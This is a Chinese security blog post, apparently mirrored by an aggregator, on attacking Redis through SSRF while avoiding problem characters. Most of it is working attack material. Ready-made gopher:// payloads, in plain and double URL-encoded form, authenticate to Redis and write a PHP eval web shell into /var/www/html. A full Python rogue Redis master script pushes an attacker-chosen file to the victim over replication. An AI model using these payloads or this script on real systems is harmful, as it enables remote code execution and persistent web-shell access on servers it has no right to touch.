SSRF打Redis规避坏字符
用dict协议通过SSRF间接打Redis的时候,数据中存在:、'等特殊字符会导致set失败,可以通过位运算、gopher协议、主从同步数据、主从同步文件等方式躲开坏字符的坑。对redis-cli的命 2020-09-25 01:43:14 Author: hosch3n.github.io(查看原文) 阅读量:86 收藏

用dict协议通过SSRF间接打Redis的时候,数据中存在:'等特殊字符会导致set失败,可以通过位运算、gopher协议、主从同步数据、主从同步文件等方式躲开坏字符的坑。

对redis-cli的命令数据抓包,利用gopher协议封装后重放给目标Redis。由于Redis的授权认证只有简单的一串*2%0A%244%0Aauth%0A%248%0Afoobared,且可以通过管道操作一次同时传输多条命令,因此这个方法还可以用来打知道密码的内网Redis。

gopher://127.0.0.1:6379/_%244%0d%0aauth%0d%0a%248%0d%0afoobared%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0aa%0d%0a%2422%0d%0a%3C%3F%3Deval(%24_GET%5B911%5D)%3B%3F%3E%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2414%0d%0a%2Fvar%2Fwww%2Fhtml%2F%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%2410%0d%0adbfilename%0d%0a%247%0d%0atmp.php%0d%0a*1%0d%0a%246%0d%0abgsave

?url=gopher://127.0.0.1:6379/_%25244%250d%250aauth%250d%250a%25248%250d%250afoobared%250d%250a*3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250aa%250d%250a%252422%250d%250a%253C%253F%253Deval(%2524_GET%255B911%255D)%253B%253F%253E%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%25243%250d%250adir%250d%250a%252414%250d%250a%252Fvar%252Fwww%252Fhtml%252F%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%25243%250d%250aset%250d%250a%252410%250d%250adbfilename%250d%250a%25247%250d%250atmp.php%250d%250a*1%250d%250a%25246%250d%250abgsave

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118


import socket
from time import sleep
from optparse import OptionParser

CLRF = "\r\n"

"""
Author: hosch3n
Reference: https://github.com/r35tart/RedisWriteFile/
"""

def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ")

def info(msg):
print("\033[1;32;40m[info]\033[0m {}".format(msg))

def din(sock, cnt=4096):
global verbose
msg = sock.recv(cnt)
if verbose:
if len(msg) < 1000:
print("\033[1;34;40m[->]\033[0m {}".format(msg))
else:
print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:]))
return msg.decode('gb18030')

def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if len(msg) < 1000:
print("\033[1;33;40m[<-]\033[0m {}".format(msg))
else:
print("\033[1;33;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:]))


class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10)

def close(self):
self._sock.close()

def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase

def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break


def runserver(lhost, lport):
try:
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(3)
rogue.close()
except Exception as e:
print("\033[1;31;m[-]\033[0m 发生错误! : {} \n[*] Exit..".format(e))

if __name__ == '__main__':
parser = OptionParser()
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip", metavar="LOCAL_HOST")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 6379", default=6379,
metavar="LOCAL_PORT")
parser.add_option("--lfile", dest="lfile", type="string",
help="Local file that needs to be written", metavar="Local_File_Name", default='dump.rdb')
parser.add_option("-v", "--verbose", action="store_true", default=False,
help="Show full data stream")

(options, args) = parser.parse_args()
global verbose, payload, filename
localfile = options.lfile
verbose = options.verbose
payload = open(localfile, "rb").read()

try:
runserver(options.lh, options.lp)
except Exception as e:
info(repr(e))

文章来源: https://hosch3n.github.io/2020/09/25/SSRF%E6%89%93Redis%E8%A7%84%E9%81%BF%E5%9D%8F%E5%AD%97%E7%AC%A6/
如有侵权请联系:admin#unsafe.sh